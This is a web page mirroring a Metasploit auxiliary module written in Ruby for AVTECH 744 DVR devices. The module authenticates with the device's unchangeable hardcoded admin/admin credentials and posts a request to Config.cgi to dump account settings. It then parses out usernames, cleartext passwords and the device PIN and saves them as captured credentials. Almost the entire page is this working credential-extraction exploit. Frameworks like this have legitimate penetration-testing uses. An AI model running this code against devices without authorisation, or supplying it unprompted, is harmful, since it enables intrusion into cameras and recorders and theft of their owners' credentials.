Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/avtech744_dvr_accounts.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'AVTECH 744 DVR Account Information Retrieval',12'Description' => %q{13This module will extract the account information from the AVTECH 744 DVR devices,14including usernames, cleartext passwords, and the device PIN, along with15a few other miscellaneous details. In order to extract the information, hardcoded16credentials admin/admin are used. These credentials can't be changed from the device17console UI nor from the web UI.18},19'Author' => [ 'nstarke' ],20'License' => MSF_LICENSE21))22end232425def run26res = send_request_cgi({27'method' => 'POST',28'uri' => '/cgi-bin/user/Config.cgi',29'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",30'vars_post' => {31'action' => 'get',32'category' => 'Account.*'33}34})3536unless res37fail_with(Failure::Unreachable, 'No response received from the target')38end3940unless res.code == 20041fail_with(Failure::Unknown, 'An unknown error occurred')42end4344raw_collection = extract_data(res.body)45extract_creds(raw_collection)4647p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)48print_good("avtech744.dvr.accounts stored in #{p}")49end5051def extract_data(body)52raw_collection = []53body.each_line do |line|54key, value = line.split('=')55if key && value56_, second, third = key.split('.')57if third58index = second.slice(second.length - 1).to_i59raw_collection[index] = raw_collection[index] ||= {}60case third61when 'Username'62raw_collection[index][:username] = value.strip!63when 'Password'64raw_collection[index][:password] = value.strip!65end66elsif second.include?('Password')67print_good("PIN Retrieved: #{key} - #{value.strip!}")68end69end70end7172raw_collection73end7475def extract_creds(raw_collection)76raw_collection.each do |raw|77unless raw78next79end8081service_data = {82address: rhost,83port: rport,84service_name: 'http',85protocol: 'tcp',86workspace_id: myworkspace_id87}8889credential_data = {90module_fullname: self.fullname,91origin_type: :service,92private_data: raw[:password],93private_type: :password,94username: raw[:username]95}9697credential_data.merge!(service_data)9899credential_core = create_credential(credential_data)100101login_data = {102core: credential_core,103status: Metasploit::Model::Login::Status::UNTRIED104}105106login_data.merge!(service_data)107108create_credential_login(login_data)109end110end111end112113114